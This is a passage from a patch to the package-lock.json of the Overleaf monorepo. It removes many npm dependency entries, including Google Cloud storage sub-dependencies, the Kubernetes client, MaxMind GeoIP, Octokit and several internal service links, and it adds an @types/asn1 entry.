+- "google-auth-library": "^5.0.0",
+- "pumpify": "^2.0.0",
+- "stream-events": "^1.0.4"
+- },
+- "bin": {
+- "gcs-upload": "build/src/cli.js"
+- },
+- "engines": {
+- "node": ">=8.10.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/gcs-resumable-upload/node_modules/gaxios": {
+- "version": "2.3.4",
+- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz",
+- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==",
+- "dependencies": {
+- "abort-controller": "^3.0.0",
+- "extend": "^3.0.2",
+- "https-proxy-agent": "^5.0.0",
+- "is-stream": "^2.0.0",
+- "node-fetch": "^2.3.0"
+- },
+- "engines": {
+- "node": ">=8.10.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/google-auth-library": {
+- "version": "5.10.1",
+- "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-5.10.1.tgz",
+- "integrity": "sha512-rOlaok5vlpV9rSiUu5EpR0vVpc+PhN62oF4RyX/6++DG1VsaulAFEMlDYBLjJDDPI6OcNOCGAKy9UVB/3NIDXg==",
+- "dependencies": {
+- "arrify": "^2.0.0",
+- "base64-js": "^1.3.0",
+- "ecdsa-sig-formatter": "^1.0.11",
+- "fast-text-encoding": "^1.0.0",
+- "gaxios": "^2.1.0",
+- "gcp-metadata": "^3.4.0",
+- "gtoken": "^4.1.0",
+- "jws": "^4.0.0",
+- "lru-cache": "^5.0.0"
+- },
+- "engines": {
+- "node": ">=8.10.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/google-auth-library/node_modules/gaxios": {
+- "version": "2.3.4",
+- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz",
+- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==",
+- "dependencies": {
+- "abort-controller": "^3.0.0",
+- "extend": "^3.0.2",
+- "https-proxy-agent": "^5.0.0",
+- "is-stream": "^2.0.0",
+- "node-fetch": "^2.3.0"
+- },
+- "engines": {
+- "node": ">=8.10.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/google-p12-pem": {
+- "version": "2.0.5",
+- "resolved": "https://registry.npmjs.org/google-p12-pem/-/google-p12-pem-2.0.5.tgz",
+- "integrity": "sha512-7RLkxwSsMsYh9wQ5Vb2zRtkAHvqPvfoMGag+nugl1noYO7gf0844Yr9TIFA5NEBMAeVt2Z+Imu7CQMp3oNatzQ==",
+- "dependencies": {
+- "node-forge": "^0.10.0"
+- },
+- "bin": {
+- "gp12-pem": "build/src/bin/gp12-pem.js"
+- },
+- "engines": {
+- "node": ">=8.10.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/gtoken": {
+- "version": "4.1.4",
+- "resolved": "https://registry.npmjs.org/gtoken/-/gtoken-4.1.4.tgz",
+- "integrity": "sha512-VxirzD0SWoFUo5p8RDP8Jt2AGyOmyYcT/pOUgDKJCK+iSw0TMqwrVfY37RXTNmoKwrzmDHSk0GMT9FsgVmnVSA==",
+- "dependencies": {
+- "gaxios": "^2.1.0",
+- "google-p12-pem": "^2.0.0",
+- "jws": "^4.0.0",
+- "mime": "^2.2.0"
+- },
+- "engines": {
+- "node": ">=8.10.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/gtoken/node_modules/gaxios": {
+- "version": "2.3.4",
+- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz",
+- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==",
+- "dependencies": {
+- "abort-controller": "^3.0.0",
+- "extend": "^3.0.2",
+- "https-proxy-agent": "^5.0.0",
+- "is-stream": "^2.0.0",
+- "node-fetch": "^2.3.0"
+- },
+- "engines": {
+- "node": ">=8.10.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/json-bigint": {
+- "version": "0.3.1",
+- "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-0.3.1.tgz",
+- "integrity": "sha512-DGWnSzmusIreWlEupsUelHrhwmPPE+FiQvg+drKfk2p+bdEYa5mp4PJ8JsCWqae0M2jQNb0HPvnwvf1qOTThzQ==",
+- "dependencies": {
+- "bignumber.js": "^9.0.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/node-forge": {
+- "version": "0.10.0",
+- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz",
+- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==",
+- "engines": {
+- "node": ">= 6.0.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/p-limit": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+- "dependencies": {
+- "p-try": "^2.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/sindresorhus"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/teeny-request": {
+- "version": "6.0.3",
+- "resolved": "https://registry.npmjs.org/teeny-request/-/teeny-request-6.0.3.tgz",
+- "integrity": "sha512-TZG/dfd2r6yeji19es1cUIwAlVD8y+/svB1kAC2Y0bjEyysrfbO8EZvJBRwIE6WkwmUoB7uvWLwTIhJbMXZ1Dw==",
+- "dependencies": {
+- "http-proxy-agent": "^4.0.0",
+- "https-proxy-agent": "^5.0.0",
+- "node-fetch": "^2.2.0",
+- "stream-events": "^1.0.5",
+- "uuid": "^7.0.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/through2": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/through2/-/through2-3.0.2.tgz",
+- "integrity": "sha512-enaDQ4MUyP2W6ZyT6EsMzqBPZaM/avg8iuo+l2d3QCs0J+6RaqkHV/2/lOwDTueBHeJ/2LG9lrLW3d5rWPucuQ==",
+- "dependencies": {
+- "inherits": "^2.0.4",
+- "readable-stream": "2 || 3"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/uuid": {
+- "version": "7.0.3",
+- "resolved": "https://registry.npmjs.org/uuid/-/uuid-7.0.3.tgz",
+- "integrity": "sha512-DPSke0pXhTZgoF/d+WSt2QaKMCFSfx7QegxEWT+JOuHF5aWrKEn0G+ztjuJg/gG8/ItK+rbPCD/yNv8yyih6Cg==",
+- "bin": {
+- "uuid": "dist/bin/uuid"
+- }
+- },
+ "node_modules/@google-cloud/trace-agent": {
+ "version": "5.1.6",
+ "resolved": "https://registry.npmjs.org/@google-cloud/trace-agent/-/trace-agent-5.1.6.tgz",
+@@ -3886,65 +3069,6 @@
+ "integrity": "sha512-zMM9Ds+SawiUkakS7y94Ymqx+S0ORzpG3frZirN3l+UlXUmSUR7hF4wxCVqW+ei94JzV5kt0uXBcoOEAuiydrw==",
+ "dev": true
+ },
+- "node_modules/@kubernetes/client-node": {
+- "version": "0.10.2",
+- "resolved": "https://registry.npmjs.org/@kubernetes/client-node/-/client-node-0.10.2.tgz",
+- "integrity": "sha512-JvsmxbTwiMqsh9LyuXMzT5HjoENFbB3a/JroJsobuAzkxN162UqAOvg++/AA+ccIMWRR2Qln4FyaOJ0a4eKyXg==",
+- "dependencies": {
+- "@types/js-yaml": "^3.12.1",
+- "@types/node": "^10.12.0",
+- "@types/request": "^2.47.1",
+- "@types/underscore": "^1.8.9",
+- "@types/ws": "^6.0.1",
+- "isomorphic-ws": "^4.0.1",
+- "js-yaml": "^3.13.1",
+- "json-stream": "^1.0.0",
+- "jsonpath-plus": "^0.19.0",
+- "request": "^2.88.0",
+- "shelljs": "^0.8.2",
+- "tslib": "^1.9.3",
+- "underscore": "^1.9.1",
+- "ws": "^6.1.0"
+- }
+- },
+- "node_modules/@kubernetes/client-node/node_modules/@types/node": {
+- "version": "10.17.60",
+- "resolved": "https://registry.npmjs.org/@types/node/-/node-10.17.60.tgz",
+- "integrity": "sha512-F0KIgDJfy2nA3zMLmWGKxcH2ZVEtCZXHHdOQs2gSaQ27+lNeEfGxzkIw90aXswATX7AZ33tahPbzy6KAfUreVw=="
+- },
+- "node_modules/@kubernetes/client-node/node_modules/argparse": {
+- "version": "1.0.10",
+- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+- "dependencies": {
+- "sprintf-js": "~1.0.2"
+- }
+- },
+- "node_modules/@kubernetes/client-node/node_modules/js-yaml": {
+- "version": "3.14.1",
+- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+- "dependencies": {
+- "argparse": "^1.0.7",
+- "esprima": "^4.0.0"
+- },
+- "bin": {
+- "js-yaml": "bin/js-yaml.js"
+- }
+- },
+- "node_modules/@kubernetes/client-node/node_modules/tslib": {
+- "version": "1.14.1",
+- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+- "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="
+- },
+- "node_modules/@kubernetes/client-node/node_modules/ws": {
+- "version": "6.2.2",
+- "resolved": "https://registry.npmjs.org/ws/-/ws-6.2.2.tgz",
+- "integrity": "sha512-zmhltoSR8u1cnDsD43TX59mzoMZsLKqUweyYBAIvTngR3shc0W6aOZylZmq/7hqyVxPdi+5Ud2QInblgyE72fw==",
+- "dependencies": {
+- "async-limiter": "~1.0.0"
+- }
+- },
+ "node_modules/@lezer/common": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@lezer/common/-/common-1.0.1.tgz",
+@@ -4100,67 +3224,6 @@
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
+ },
+- "node_modules/@maxmind/geoip2-node": {
+- "version": "3.4.0",
+- "resolved": "https://registry.npmjs.org/@maxmind/geoip2-node/-/geoip2-node-3.4.0.tgz",
+- "integrity": "sha512-XBB+IJSXQRXXHBvwULZu2nOYAPuC0pc77xw/xkDo0cWkBO/L2rUMr+xKGZwj47mFBEiG6tnTMBzxJajEJTrKAg==",
+- "dependencies": {
+- "camelcase-keys": "^7.0.0",
+- "ip6addr": "^0.2.5",
+- "lodash.set": "^4.3.2",
+- "maxmind": "^4.2.0"
+- }
+- },
+- "node_modules/@maxmind/geoip2-node/node_modules/camelcase-keys": {
+- "version": "7.0.2",
+- "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-7.0.2.tgz",
+- "integrity": "sha512-Rjs1H+A9R+Ig+4E/9oyB66UC5Mj9Xq3N//vcLf2WzgdTi/3gUu3Z9KoqmlrEG4VuuLK8wJHofxzdQXz/knhiYg==",
+- "dependencies": {
+- "camelcase": "^6.3.0",
+- "map-obj": "^4.1.0",
+- "quick-lru": "^5.1.1",
+- "type-fest": "^1.2.1"
+- },
+- "engines": {
+- "node": ">=12"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/sindresorhus"
+- }
+- },
+- "node_modules/@maxmind/geoip2-node/node_modules/map-obj": {
+- "version": "4.3.0",
+- "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.3.0.tgz",
+- "integrity": "sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==",
+- "engines": {
+- "node": ">=8"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/sindresorhus"
+- }
+- },
+- "node_modules/@maxmind/geoip2-node/node_modules/quick-lru": {
+- "version": "5.1.1",
+- "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz",
+- "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==",
+- "engines": {
+- "node": ">=10"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/sindresorhus"
+- }
+- },
+- "node_modules/@maxmind/geoip2-node/node_modules/type-fest": {
+- "version": "1.4.0",
+- "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-1.4.0.tgz",
+- "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==",
+- "engines": {
+- "node": ">=10"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/sindresorhus"
+- }
+- },
+ "node_modules/@nicolo-ribaudo/chokidar-2": {
+ "version": "2.1.8-no-fsevents.3",
+ "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/chokidar-2/-/chokidar-2-2.1.8-no-fsevents.3.tgz",
+@@ -4220,68 +3283,6 @@
+ "node": ">= 8"
+ }
+ },
+- "node_modules/@octokit/endpoint": {
+- "version": "6.0.12",
+- "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-6.0.12.tgz",
+- "integrity": "sha512-lF3puPwkQWGfkMClXb4k/eUT/nZKQfxinRWJrdZaJO85Dqwo/G0yOC434Jr2ojwafWJMYqFGFa5ms4jJUgujdA==",
+- "dependencies": {
+- "@octokit/types": "^6.0.3",
+- "is-plain-object": "^5.0.0",
+- "universal-user-agent": "^6.0.0"
+- }
+- },
+- "node_modules/@octokit/endpoint/node_modules/is-plain-object": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz",
+- "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/@octokit/openapi-types": {
+- "version": "11.2.0",
+- "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-11.2.0.tgz",
+- "integrity": "sha512-PBsVO+15KSlGmiI8QAzaqvsNlZlrDlyAJYcrXBCvVUxCp7VnXjkwPoFHgjEJXx3WF9BAwkA6nfCUA7i9sODzKA=="
+- },
+- "node_modules/@octokit/request": {
+- "version": "5.6.3",
+- "resolved": "https://registry.npmjs.org/@octokit/request/-/request-5.6.3.tgz",
+- "integrity": "sha512-bFJl0I1KVc9jYTe9tdGGpAMPy32dLBXXo1dS/YwSCTL/2nd9XeHsY616RE3HPXDVk+a+dBuzyz5YdlXwcDTr2A==",
+- "dependencies": {
+- "@octokit/endpoint": "^6.0.1",
+- "@octokit/request-error": "^2.1.0",
+- "@octokit/types": "^6.16.1",
+- "is-plain-object": "^5.0.0",
+- "node-fetch": "^2.6.7",
+- "universal-user-agent": "^6.0.0"
+- }
+- },
+- "node_modules/@octokit/request-error": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-2.1.0.tgz",
+- "integrity": "sha512-1VIvgXxs9WHSjicsRwq8PlR2LR2x6DwsJAaFgzdi0JfJoGSO8mYI/cHJQ+9FbN21aa+DrgNLnwObmyeSC8Rmpg==",
+- "dependencies": {
+- "@octokit/types": "^6.0.3",
+- "deprecation": "^2.0.0",
+- "once": "^1.4.0"
+- }
+- },
+- "node_modules/@octokit/request/node_modules/is-plain-object": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz",
+- "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/@octokit/types": {
+- "version": "6.34.0",
+- "resolved": "https://registry.npmjs.org/@octokit/types/-/types-6.34.0.tgz",
+- "integrity": "sha512-s1zLBjWhdEI2zwaoSgyOFoKSl109CUcVBCc7biPJ3aAf6LGLU6szDvi31JPU7bxfla2lqfhjbbg/5DdFNxOwHw==",
+- "dependencies": {
+- "@octokit/openapi-types": "^11.2.0"
+- }
+- },
+ "node_modules/@opencensus/core": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/@opencensus/core/-/core-0.1.0.tgz",
+@@ -4399,10 +3400,6 @@
+ "resolved": "libraries/access-token-encryptor",
+ "link": true
+ },
+- "node_modules/@overleaf/analytics": {
+- "resolved": "services/analytics",
+- "link": true
+- },
+ "node_modules/@overleaf/chat": {
+ "resolved": "services/chat",
+ "link": true
+@@ -4411,10 +3408,6 @@
+ "resolved": "services/clsi",
+ "link": true
+ },
+- "node_modules/@overleaf/clsi-perf": {
+- "resolved": "services/clsi-perf",
+- "link": true
+- },
+ "node_modules/@overleaf/contacts": {
+ "resolved": "services/contacts",
+ "link": true
+@@ -4431,18 +3424,6 @@
+ "resolved": "services/filestore",
+ "link": true
+ },
+- "node_modules/@overleaf/github-sync": {
+- "resolved": "services/github-sync",
+- "link": true
+- },
+- "node_modules/@overleaf/idp": {
+- "resolved": "services/idp",
+- "link": true
+- },
+- "node_modules/@overleaf/k8s-debugger": {
+- "resolved": "services/k8s-debugger",
+- "link": true
+- },
+ "node_modules/@overleaf/logger": {
+ "resolved": "libraries/logger",
+ "link": true
+@@ -4463,14 +3444,6 @@
+ "resolved": "libraries/object-persistor",
+ "link": true
+ },
+- "node_modules/@overleaf/project-archiver": {
+- "resolved": "services/project-archiver",
+- "link": true
+- },
+- "node_modules/@overleaf/project-history": {
+- "resolved": "services/project-history",
+- "link": true
+- },
+ "node_modules/@overleaf/ranges-tracker": {
+ "resolved": "libraries/ranges-tracker",
+ "link": true
+@@ -4483,10 +3456,6 @@
+ "resolved": "libraries/redis-wrapper",
+ "link": true
+ },
+- "node_modules/@overleaf/references": {
+- "resolved": "services/references",
+- "link": true
+- },
+ "node_modules/@overleaf/settings": {
+ "resolved": "libraries/settings",
+ "link": true
+@@ -4495,22 +3464,6 @@
+ "resolved": "services/spelling",
+ "link": true
+ },
+- "node_modules/@overleaf/templates": {
+- "resolved": "services/templates",
+- "link": true
+- },
+- "node_modules/@overleaf/third-party-datastore": {
+- "resolved": "services/third-party-datastore",
+- "link": true
+- },
+- "node_modules/@overleaf/thirdparty-references": {
+- "resolved": "services/third-party-references",
+- "link": true
+- },
+- "node_modules/@overleaf/tpdsworker": {
+- "resolved": "services/tpdsworker",
+- "link": true
+- },
+ "node_modules/@overleaf/track-changes": {
+ "resolved": "services/track-changes",
+ "link": true
+@@ -4519,14 +3472,6 @@
+ "resolved": "services/web",
+ "link": true
+ },
+- "node_modules/@panva/asn1.js": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/@panva/asn1.js/-/asn1.js-1.0.0.tgz",
+- "integrity": "sha512-UdkG3mLEqXgnlKsWanWcgb6dOjUzJ+XC5f+aWw30qrtjxeNUSfKX1cd5FBzOaXQumoe9nIqeZUvrRJS03HCCtw==",
+- "engines": {
+- "node": ">=10.13.0"
+- }
+- },
+ "node_modules/@pmmmwh/react-refresh-webpack-plugin": {
+ "version": "0.5.7",
+ "resolved": "https://registry.npmjs.org/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.7.tgz",
+@@ -5082,14 +4027,6 @@
+ "node": ">=6"
+ }
+ },
+- "node_modules/@sindresorhus/is": {
+- "version": "0.14.0",
+- "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz",
+- "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==",
+- "engines": {
+- "node": ">=6"
+- }
+- },
+ "node_modules/@sinonjs/commons": {
+ "version": "1.8.3",
+ "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.3.tgz",
+@@ -5144,17 +4081,6 @@
+ "node": ">= 0.6.0"
+ }
+ },
+- "node_modules/@szmarczak/http-timer": {
+- "version": "1.1.2",
+- "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz",
+- "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==",
+- "dependencies": {
+- "defer-to-connect": "^1.0.1"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+ "node_modules/@testing-library/cypress": {
+ "version": "8.0.3",
+ "resolved": "https://registry.npmjs.org/@testing-library/cypress/-/cypress-8.0.3.tgz",
+@@ -5320,14 +4246,6 @@
+ "@testing-library/dom": ">=7.21.4"
+ }
+ },
+- "node_modules/@tootallnate/once": {
+- "version": "1.1.2",
+- "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz",
+- "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==",
+- "engines": {
+- "node": ">= 6"
+- }
+- },
+ "node_modules/@transloadit/prettier-bytes": {
+ "version": "0.0.7",
+ "resolved": "https://registry.npmjs.org/@transloadit/prettier-bytes/-/prettier-bytes-0.0.7.tgz",
+@@ -5353,11 +4271,14 @@
+ "integrity": "sha512-HnYpAE1Y6kRyKM/XkEuiRQhTHvkzMBurTHnpFLYLBGPIylZNPs9jJcuOOYWxPLJCSEtmZT0Y8rHDokKN7rRTig==",
+ "dev": true
+ },
+- "node_modules/@types/bluebird": {
+- "version": "3.5.36",
+- "resolved": "https://registry.npmjs.org/@types/bluebird/-/bluebird-3.5.36.tgz",
+- "integrity": "sha512-HBNx4lhkxN7bx6P0++W8E289foSu8kO8GCk2unhuVggO+cE7rh9DhZUyPhUxNRG9m+5B5BTKxZQ5ZP92x/mx9Q==",
+- "dev": true
++ "node_modules/@types/asn1": {
++ "version": "0.2.0",
++ "resolved": "https://registry.npmjs.org/@types/asn1/-/asn1-0.2.0.tgz",
++ "integrity": "sha512-5TMxIpYbIA9c1J0hYQjQDX3wr+rTgQEAXaW2BI8ECM8FO53wSW4HFZplTalrKSHuZUc76NtXcePRhwuOHqGD5g==",
++ "dev": true,
++ "dependencies": {
++ "@types/node": "*"
++ }
+ },
+ "node_modules/@types/body-parser": {
+ "version": "1.19.2",
+@@ -5385,11 +4306,6 @@
+ "@types/node": "*"
+ }
+ },
+- "node_modules/@types/caseless": {
+- "version": "0.12.2",
+- "resolved": "https://registry.npmjs.org/@types/caseless/-/caseless-0.12.2.tgz",
+- "integrity": "sha512-6ckxMjBBD8URvjB6J3NcnuAn5Pkl7t3TizAg+xdlzzQGSPSmBcXf8KoIH0ua/i+tio+ZRUHEXp0HEmvaR4kt0w=="
+- },
+ "node_modules/@types/chai": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/@types/chai/-/chai-4.3.0.tgz",
+@@ -5431,12 +4347,6 @@
+ "integrity": "sha512-XW/Aa8APYr6jSVVA1y/DEIZX0/GMKLEVekNG727R8cs56ahETkRAy/3DR7+fJyh7oUgGwNQaRfXCun0+KbWY7Q==",
+ "dev": true
+ },
+- "node_modules/@types/cookiejar": {
+- "version": "2.1.2",
+- "resolved": "https://registry.npmjs.org/@types/cookiejar/-/cookiejar-2.1.2.tgz",
+- "integrity": "sha512-t73xJJrvdTjXrn4jLS9VSGRbz0nUY3cl2DMGDU48lKl+HR9dbbjW2A9r3g40VA++mQpy6uuHg33gy7du2BKpog==",
+- "dev": true
+- },
+ "node_modules/@types/cors": {
+ "version": "2.8.12",
+ "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.12.tgz",
+@@ -5493,34 +4403,6 @@
+ "@types/range-parser": "*"
+ }
+ },
+- "node_modules/@types/got": {
+- "version": "9.6.12",
+- "resolved": "https://registry.npmjs.org/@types/got/-/got-9.6.12.tgz",
+- "integrity": "sha512-X4pj/HGHbXVLqTpKjA2ahI4rV/nNBc9mGO2I/0CgAra+F2dKgMXnENv2SRpemScBzBAI4vMelIVYViQxlSE6xA==",
+- "dependencies": {
+- "@types/node": "*",
+- "@types/tough-cookie": "*",
+- "form-data": "^2.5.0"
+- }
+- },
+- "node_modules/@types/got/node_modules/form-data": {
+- "version": "2.5.1",
+- "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz",
+- "integrity": "sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==",
+- "dependencies": {
+- "asynckit": "^0.4.0",
+- "combined-stream": "^1.0.6",
+- "mime-types": "^2.1.12"
+- },
+- "engines": {
+- "node": ">= 0.12"
+- }
+- },
+- "node_modules/@types/hapi__joi": {
+- "version": "17.1.8",
+- "resolved": "https://registry.npmjs.org/@types/hapi__joi/-/hapi__joi-17.1.8.tgz",
+- "integrity": "sha512-omVytnOAiAfzGUOQArujJr3heWxPrDHW7MF1ieqix1ngoGdhtJmSSDFVM+ZAOa7UmhlGJtltdgUAT03mfDu6kg=="
+- },
+ "node_modules/@types/hoist-non-react-statics": {
+ "version": "3.3.1",
+ "resolved": "https://registry.npmjs.org/@types/hoist-non-react-statics/-/hoist-non-react-statics-3.3.1.tgz",
+@@ -5551,11 +4433,6 @@
+ "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==",
+ "dev": true
+ },
+- "node_modules/@types/js-yaml": {
+- "version": "3.12.7",
+- "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-3.12.7.tgz",
+- "integrity": "sha512-S6+8JAYTE1qdsc9HMVsfY7+SgSuUU/Tp6TYTmITW0PZxiyIMvol3Gy//y69Wkhs0ti4py5qgR3uZH6uz/DNzJQ=="
+- },
+ "node_modules/@types/json-schema": {
+ "version": "7.0.9",
+ "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz",
+@@ -5640,16 +4517,6 @@
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-14.18.9.tgz",
+ "integrity": "sha512-j11XSuRuAlft6vLDEX4RvhqC0KxNxx6QIyMXNb0vHHSNPXTPeiy3algESWmOOIzEtiEL0qiowPU3ewW9hHVa7Q=="
+ },
+- "node_modules/@types/node-fetch": {
+- "version": "2.5.12",
+- "resolved": "https://registry.npmjs.org/@types/node-fetch/-/node-fetch-2.5.12.tgz",
+- "integrity": "sha512-MKgC4dlq4kKNa/mYrwpKfzQMB5X3ee5U6fSprkKpToBqBmX4nFZL9cW5jl6sWn+xpRJ7ypWh2yyqqr8UUCstSw==",
+- "peer": true,
+- "dependencies": {
+- "@types/node": "*",
+- "form-data": "^3.0.0"
+- }
+- },
+ "node_modules/@types/parse-json": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz",
+@@ -5711,30 +4578,6 @@
+ "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.10.tgz",
+ "integrity": "sha512-2u44ZG2OcNUO9HDp/Jl8C07x6pU/eTR3ncV91SiK3dhG9TWvRVsCoJw14Ckx5DgWkzGA3waZWO3d7pgqpUI/XA=="
+ },
+- "node_modules/@types/request": {
+- "version": "2.48.8",
+- "resolved": "https://registry.npmjs.org/@types/request/-/request-2.48.8.tgz",
+- "integrity": "sha512-whjk1EDJPcAR2kYHRbFl/lKeeKYTi05A15K9bnLInCVroNDCtXce57xKdI0/rQaA3K+6q0eFyUBPmqfSndUZdQ==",
+- "dependencies": {
+- "@types/caseless": "*",
+- "@types/node": "*",
+- "@types/tough-cookie": "*",
+- "form-data": "^2.5.0"
+- }
+- },
+- "node_modules/@types/request/node_modules/form-data": {
+- "version": "2.5.1",
+- "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz",
+- "integrity": "sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==",
+- "dependencies": {
+- "asynckit": "^0.4.0",
+- "combined-stream": "^1.0.6",
+- "mime-types": "^2.1.12"
+- },
+- "engines": {
+- "node": ">= 0.12"
+- }
+- },
+ "node_modules/@types/retry": {
+ "version": "0.12.1",
+ "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.1.tgz",
+@@ -5809,40 +4652,12 @@
+ "@types/node": "*"
+ }
+ },
+- "node_modules/@types/superagent": {
+- "version": "3.8.7",
